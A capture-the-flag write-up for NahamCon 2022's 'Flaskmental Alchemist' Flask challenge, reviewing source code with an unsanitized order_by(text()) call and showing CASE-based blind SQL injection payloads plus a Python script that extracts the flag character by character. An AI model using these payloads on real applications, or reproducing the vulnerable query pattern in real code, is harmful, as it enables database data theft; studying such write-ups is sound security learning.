Order By Blind SQL Injection

A NahamCon CTF 2022 Flask challenge passes unsanitized user input straight into SQLAlchemy's order_by(text(...)) call, letting a CASE-based blind SQL injection exfiltrate the flag character by character.

As usual, I got some time to play some CTF, and it was NahamCon 2022, which I decided to play. In this post, let’s see the solution for a web challenge called Flaskmental Alchemist.

💡 Challenge URL: http://challenge.nahamcon.com:31610/

Website view:

Web Application Introduction

This is a web application built using Flask which has the periodic table stored. It offers a search feature, allowing us to search elements by atomic number, symbol, and name. The app uses sqlalchemy — an ORM (Object Relational Mapper) used to communicate with the database.

Source Code Review

app.py

from flask import Flask, render_template, request, url_for, redirect
from models import Metal
from database import db_session, init_db
from seed import seed_db
from sqlalchemy import text

app = Flask(__name__)

@app.teardown_appcontext
def shutdown_session(exception=None):
    db_session.remove()

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)

Database Model

The metals table stores the elements, and a separate flag table holds the flag:

class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name

class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag

Blind SQL Injection

User input is not sanitized when passed into the order_by call:

metals = Metal.query.filter(
    Metal.name.like("%{}%".format(search))
).order_by(text(order))

Since order is wrapped in text() and handed straight to order_by, we can abuse this to exfiltrate the flag from the flag table.

Exploitation

We can use SQL CASE statements (similar to if/else), plus ASC/DESC, to turn ordering itself into an oracle.

First, confirm the injection works:

• &order=1+ASC — the elements start from atomic number 3.

• &order=1+DESC — the elements start from atomic number 116.

To exfiltrate the flag one character at a time, substr is useful. Flag format is flag{[a-zA-Z0-9_]}, so we can check whether the first character equals f:

&order=(case when (substr((select flag from flag),1,1))=char(102) then atomic_number else name end) desc

This checks whether the first character of the flag equals char(102) (f). If true, elements are ordered by atomic_number descending; otherwise by name descending — a clean boolean oracle:

Using the length() function first confirms the flag is 20 characters long:

(case when (length((select flag from flag)))=20 then atomic_number else name end) desc

Exploit

A basic Python script to automate exfiltrating the flag character by character:

import requests
url = 'http://challenge.nahamcon.com:32109'
flag = ['f','l','a','g','{']

def body(num1, num2):
    body = {
        "search": "Li",
        "order": f"(case when (substr((select flag from flag),{int(num1)},1))=char({int(num2)}) then atomic_number else name end) desc"
    }
    return body

for i in range(6, 20):
    for j in range(95, 126):
        payload = body(i, j)
        r = requests.post(url, data=payload)
        if r.text[2612:2615] == '116':
            flag.append(chr(j))
            print(''.join(flag))
            break

flag.append('}')
print("Flag: " + ''.join(flag))

Running it exfiltrates the flag successfully:

💡 Flag: flag{order_by_blind}